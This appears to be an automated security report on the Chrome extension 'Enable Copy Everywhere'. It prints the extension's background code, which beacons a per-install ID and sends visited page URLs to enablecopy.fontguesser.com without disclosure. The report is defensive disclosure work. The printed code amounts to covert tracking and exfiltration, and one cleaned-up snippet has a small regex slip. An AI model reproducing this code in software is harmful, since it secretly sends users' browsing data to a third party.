Is Enable Copy Everywhere safe?
Enable Copy Everywhere is high risk. On install, the extension generates a random identifier and saves it locally. We captured it sent to enablecopy.fontguesser.com on install and every background restart. The listing describes only copy-paste unblocking, not this identifier.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Persistent Install ID Beacons to fontguesser.com on Every Startup
On install, the extension generates a random identifier and saves it locally.
We captured it sent to enablecopy.fontguesser.com on install and every background restart.
The listing describes only copy-paste unblocking, not this identifier.
You install Enable Copy Everywhere from the Chrome Web Store.
The listing describes only unblocking copy-paste and right-click on restricted pages.
The extension generates a random identifier, saves it locally, and sends it to a third-party server.
The request goes to enablecopy.fontguesser.com, a domain not referenced anywhere in the listing or unblock feature.
| Content-Type | application/json |
{
"uid": "860c4b90-7687-28a9-4ea0-11322890c0f4"
}The stored identifier is read from local storage and POSTed again to /enablecopy/enable every time the background service worker starts, not only on first install, but on every subsequent browser/SW restart for as long as the extension stays installed.
UUID generation and beacon on install (background.js)
(() => {
let e = "https://enablecopy.fontguesser.com";
ButtonToggle = (e, t) => {
e ? (e => {
chrome.action.setIcon({
path: {
16: "green icon 16.png",
48: "Green 64.png",
128: "Green 128.png"
},
tabId: e
})
})(t) : (e => {
chrome.action.setIcon({
path: {
16: "icon 16.png",
48: "icon 64.png",
128: "icon 128.png"
},
tabId: e
})
})(t)
}, chrome.runtime.onInstalled.addListener((function(t) {
const o = (c = function() {
return (65536 * (1 + Math.random()) | 0).toString(16).substring(1)
})() + c() + "-" + c() + "-" + c() + "-" + c() + "-" + c() + c() + c();
var c;
"install" == t.reason ? (chrome.storage.local.set({
isActive: !0,
inAction: !0
}).then((() => {})), chrome.tabs.query({
currentWindow: !0
}, (function(e) {
for (let t = 0; t < e.length; t++) {
let n = chrome.runtime.getManifest().content_scripts[0];
e[t].url.includes("google") || chrome.scripting.executeScript({
target: {
tabId: e[t].id
},
files: [...n.js]
}, (() => e => {
chrome.runtime.lastError
}))
}
})), chrome.storage.local.set({
extensionId: o
}).then((() => {
chrome.storage.local.get("extensionId", (function(t) {
const n = `${e}/enablecopy/activate`,
o = {
uid: t.extensionId
};
fetch(n, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(o)
}).then((e => {
e.ok
})).catch((e => {}))
}))
}))) : "update" == t.reason && chrome.storage.local.get(null, (t => {
t.extensionId || chrome.storage.local.set({
extensionId: o
}), chrome.storage.local.get("extensionId", (function(t) {
const n = e + "/enablecopy/activate",
o = {
uid: t.extensionId
};
fetch(n, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(o)
}).then((e => {
e.ok
})).catch((e => {}))
}))
})), chrome.storage.local.get(null, (e => {
e.disabledDom || chrome.storage.local.set({
disabledDom: []
}), e.listedDom || n()
}))
})), chrome.gcm.onMessage.addListener((function(e) {
(e => {
const t = chrome.runtime.getURL("./Green 128.png");
chrome.notifications.create("name-for-notification", {
type: "basic",
iconUrl: t,
title: "Enable Copy and Paste",
message: `${e} Extension`
}, (function() {}))
})(e)
})), chrome.tabs.onUpdated.addListener(((n, o, c) => {
const {
status: i
} = o;
"complete" === i && chrome.storage.local.get("config", (function(o) {
const i = o.config || [];
if (i?.length > 0) {
let o = function(e) {
if (!e) return null;
var t = e.match(/:\/\/(www[0-9]?\.)?(.[^/:]+)/i);
return null != t && t.length > 2 && "string" == typeof t[2] && t[2].length > 0 ? t[2] : null
}(c?.url),
a = c.url ? new URL(c?.url) : "";
if (!a) return;
let s = a.origin + a.pathname;
if (i.includes(o)) {
const o = {
uri: s
};
fetch(e + "/enablecopy/disable", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(o)
}).then((e => {
if (e.ok) return e.json()
})).then((e => {
e.configs && function(e, t) {
fetch(e, {
cache: "no-store"
}).then((e => {
if (e.ok) return e.url
})).then((e => {
e && chrome.tabs.sendMessage(t, {
message: "enable",
enabling: e
})
}))
}(e.configs, n), e.configy && t(e.configy)
})).catch((e => {}))
}
}
}))
}));
const t = async e => (await fetch(e, {
method: "GET",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
"Cache-Control": "no-cache"
}
})).url;
chrome.storage.local.get("extensionId", (function(t) {
const n = `${e}/enablecopy/enable`,
o = {
uid: t.extensionId
};
fetch(n, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(o)
}).then((e => {
if (e.ok) return e.json()
})).then((e => {
e?.confige?.length > 0 && chrome.storage.local.set({
config: e?.confige
})
})).catch((e => {}))
}));
const n = () => {
fetch(`${e}/enablecopy/listing`).then((e => e.text())).then((e => {
chrome.storage.local.set({
listedDom: e
})
}))
};
chrome.runtime.onMessage.addListener(((t, o, c) => {
"enableCopyPaste" === t.action && (t => {
const o = {
dom: t
};
fetch(`${e}/enablecopy/listing`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(o)
}).then((e => e.text())).then((e => {
n()
}))
})(t.domain)
}))
})();
- enablecopy.fontguesser.com
Receives the per-install identifier on activation and every worker restart; returns a 'confige' value cached to decide which sites copy-paste unlock applies to.
Visited Page URLs Sent to fontguesser.com on Tab Load
On pages whose domain is on a server-controlled list, the extension sends the full page URL to enablecopy.fontguesser.com.
Four POSTs confirmed this, e.g. {"uri":"...Main_Page"}.
The domain list is fetched at startup and can grow silently.
You navigate to a page whose domain is on a server-supplied list stored in the extension.
The extension immediately POSTs the full page URL to enablecopy.fontguesser.com.
No user action is required beyond navigation. The domain list is fetched from the server at every browser startup and can be changed without an extension update.
| Content-Type | application/json |
{
"uri": "https://en.wikipedia.org/wiki/Main_Page"
}| Field | Value | Why it matters | |
|---|---|---|---|
Visited page URL | https://en.wikipedia.org/wiki/Main_Page | The full address of the page you loaded, including the path. Reveals which articles, topics, or sections you read. |
Service worker code that transmits the visited URL:
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
const { status } = changeInfo;
if (status === 'complete') {
chrome.storage.local.get('config', function(stored) {
const configDomains = stored.config || [];
if (configDomains.length > 0) {
// extract hostname from current tab URL
const match = tab?.url?.match(/:V\/\/(www[0-9]?\.)?(.[^/:]+)/i);
const domain = (match && match.length > 2) ? match[2] : null;
const urlObj = tab.url ? new URL(tab?.url) : '';
if (!urlObj) return;
const pageUri = urlObj.origin + urlObj.pathname;
if (configDomains.includes(domain)) {
// POST the visited URL to fontguesser.com
const body = { uri: pageUri };
fetch('https://enablecopy.fontguesser.com/enablecopy/disable', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body)
});
}
}
});
}
});- enablecopy.fontguesser.com
Receives the full URL of every page visited on config-listed domains. Also supplies the domain allowlist and triggers secondary fetches on listed pages.
What it can do
Permissions this extension asks for, as declared in version 1.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
See the address and title of every tab you have open
tabs
Store data in your browser
storage
Run its own code inside the pages you visit
scripting
Show you desktop notifications
notifications
Receive push messages from its developer's servers
gcm